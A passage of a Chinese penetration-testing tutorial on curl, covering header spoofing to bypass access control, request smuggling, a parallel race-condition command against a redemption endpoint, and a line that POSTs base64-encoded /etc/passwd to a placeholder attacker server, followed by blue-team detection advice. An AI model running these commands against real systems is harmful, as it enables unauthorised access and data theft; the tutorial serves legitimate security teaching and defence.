别只会点Burp——curl才是Web渗透最被低估的那把瑞士军刀"

2026-10-21 21:30:17 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

cover_image 七、绕过与进阶技巧

伪造来源与身份：-A \"Mozilla/5.0 ...\" 换掉暴露的 curl/8.x UA，-e https://<TARGET>/ 伪造 Referer，-H \"X-Forwarded-For: 127.0.0.1\" / -H \"X-Original-URL: /admin\" 尝试绕过基于 IP 或路径的访问控制。
协议降级 / 升级：--http1.1 与 --http2 切换协议版本，用于测试请求走私（Smuggling）或 HTTP/2 特有问题。
原始请求体：--data-binary @req.txt 原样发送文件内容（不做 -d 的换行剥离），适合发送精确构造的畸形请求。
关闭 URL globbing：URL 里带 [``]``{``} 时加 -g，否则 curl 会当成通配范围而报错。
竞态条件（Race Condition）：-Z --parallel 让多个请求几乎同时发出，验证\"一张优惠券用两次\"\"余额并发扣减\"这类逻辑漏洞：

# 同一请求并行发 20 份，制造竞态窗口curl -s -Z --parallel --parallel-immediate \\  --config <(for i in $(seq 20); do echo 'url = \"https://<TARGET>/api/redeem?code=ABC\"'; done) \\  -H \"Cookie: session=<SESSION>\"

外带数据（Exfil）：拿到执行能力后，用 curl 把结果 POST 到自己的服务器：

curl -s -X POST -d \"$(cat /etc/passwd | base64)\" https://<YOUR_COLLABORATOR>/

八、防御与蓝队检测视角

攻击者用 curl，防御者就要认得出 curl。给蓝队四条可落地的检测与收敛项：

识别自动化特征：默认 User-Agent: curl/x.y.z、缺失浏览器常带的 Accept-Language / Sec-Fetch-* 头、无 Referer 却直达深层接口——这些组合是脚本化探测的强信号，应进 WAF 规则与访问日志告警。但注意攻击者会用 -A 伪造 UA，不能只靠 UA 判断。
限制危险方法：在 Web 服务器与反代层显式禁用 PUT/DELETE/WebDAV，OPTIONS 响应不应暴露多余方法。
封堵元数据 SSRF：对出站请求做白名单，禁止业务服务访问 169.254.169.254；云上一律强制 IMDSv2，把旧的 IMDSv1 关掉。
规范化即防御：在网关层统一做路径规范化、拒绝含 ../ 与其编码变体的请求，让 --path-as-is 这类原始遍历在入口就被拦下。
频率与并发控制：对认证接口、兑换/下单等敏感操作加限速与幂等控制，直接瓦解 curl 的爆破与竞态玩法。

总结

curl 之所以是渗透测试里最被低估的工具，是因为它把\"一次 HTTP 请求\"还原成了你能完全掌控的每一个字节：header 想怎么伪、路径想怎么畸形、请求想发多少并发，全在你手里。信息收集、认证会话、注入验证、上传落地、竞态外带——一根命令行贯穿始终，还能随手 -x 挂进 Burp、随手写进 bash 跑成批量。